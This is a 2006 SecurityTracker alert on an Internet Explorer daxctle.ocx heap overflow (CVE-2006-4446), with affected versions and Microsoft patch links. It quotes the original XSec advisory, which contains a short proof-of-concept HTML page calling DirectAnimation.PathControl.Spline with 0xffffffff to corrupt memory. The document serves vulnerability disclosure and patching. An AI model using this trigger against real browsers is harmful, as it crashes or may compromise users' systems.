Microsoft Internet Explorer (IE) Buffer Overflow in 'daxctle.ocx' ActiveX Control Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016764
|
|
SecurityTracker URL: http://securitytracker.com/id?1016764
|
|
CVE Reference: CVE-2006-4446
(Links to External Site)
|
|
OSVDB Reference: 28841
(Links to External Site)
|
Updated: Nov 14 2006
|
Original Entry Date: Aug 28 2006
|
Impact: Denial of service via network, Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Advisory: Microsoft Security Bulletin
|
Version(s): 5.01 SP4, 6 SP1; and prior service packs
|
Description: A vulnerability was reported in Microsoft Internet Explorer (IE). A remote user can cause arbitrary code to be executed on the target user's system.
A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a buffer overflow in the 'daxctle.ocx'
ActiveX control and execute arbitrary code on the target system. The code will run with the privileges of the target user.
The
flaw can be triggered via the DirectAnimation.PathControl handle.
The original advisory is available at:
http://www.xsec.org/index.php?module=releases&act=view&type
=1&id=19
nop from xsec.org reported this vulnerability.
[Editor's note: The demonstration exploit (available in the original
advisory) confirms a denial of service impact but does not confirm remote code execution.]
|
Impact: A remote user can create HTML that, when loaded by the target user, will execute arbitrary code on the target user's system.
|
Solution: The vendor has issued the following fixes as part of a cumulative updated for Internet Explorer:
Microsoft Internet Explorer 5.01
Service Pack 4 on Windows 2000 Service Pack 4:
http://www.microsoft.com/downloads/details.aspx?FamilyId=B743B081-20D4-4C1C-BC86-254D2F653953
Microsoft
Internet Explorer 6 Service Pack 1 on Windows 2000 Service Pack 4:
http://www.microsoft.com/downloads/details.aspx?FamilyId=C65C8EE7-F78D-4D52-A20C-1F896E0DC0A8
Mic
rosoft Internet Explorer 6 for Windows XP Service Pack 2:
http://www.microsoft.com/downloads/details.aspx?FamilyId=EA3CE61C-3A28-4777-9EEF-1486BB483C4F
Microsoft
Internet Explorer 6 for Windows XP Professional x64 Edition:
http://www.microsoft.com/downloads/details.aspx?FamilyId=C535A36F-705E-4663-9EE4-B82632A50F0A
Microsoft
Internet Explorer 6 for Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1:
http://www.microsoft.com/downloads/details.aspx?FamilyId=35EEF49C-E3D7-4
1EE-82F5-964A3959D453
Microsoft Internet Explorer 6 for Windows Server 2003 for Itanium-based Systems and Windows Server 2003
with SP1 for Itanium-based Systems:
http://www.microsoft.com/downloads/details.aspx?FamilyId=E8E03176-F93B-4DE7-AC95-01F9B1C5409C
Microsoft
Internet Explorer 6 for Windows Server 2003 x64 Edition:
http://www.microsoft.com/downloads/details.aspx?familyid=ABE4FE3E-BDB6-44B1-B203-528C67980B8F
A
restart is required.
The Microsoft advisory is available at:
http://www.microsoft.com/technet/security/bulletin/ms06-067.mspx
|
Vendor URL: www.microsoft.com/technet/security/bulletin/ms06-067.mspx (Links to External Site)
|
Cause: Boundary error
|
Underlying OS: Windows (2000), Windows (2003), Windows (XP)
|
Underlying OS Comments: 2000 SP4, XP SP2, 2003 SP1; and prior service packs
|
Reported By: nop <nop@xsec.org>
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 28 Aug 2006 02:17:39 +0800
From: nop <nop@xsec.org>
Subject: [XSec-06-10]: Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
|
Advisory ID:
XSec-06-10
Advisory Name:
Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
Release Date:
08/28/2006
Tested on:
Windows 2000/XP/2003 Internet Explorer 6.0 SP1
Affected version:
Windows 2000
Windows XP
Windows 2003
Author:
nop <nop#xsec.org>
http://www.xsec.org
Overview:
When Internet Explorer handle DirectAnimation.PathControl COM
object(daxctle.ocx) \
Spline method, Set the first parameter to 0xffffffff will triggers an
invalid memory \
write, That an attacker may DoS and possibly could execute arbitrary code.
Exploit:
=============== daxctle.htm start ================
<!--
// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1
// http://www.xsec.org
// nop (nop#xsec.org)
// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx
--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>
var target = new ActiveXObject("DirectAnimation.PathControl");
target.Spline(0xffffffff, 1);
</script>
</body>
</html>
=============== daxctle.htm end ==================
Link:
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=19
About XSec:
We are redhat.
|
|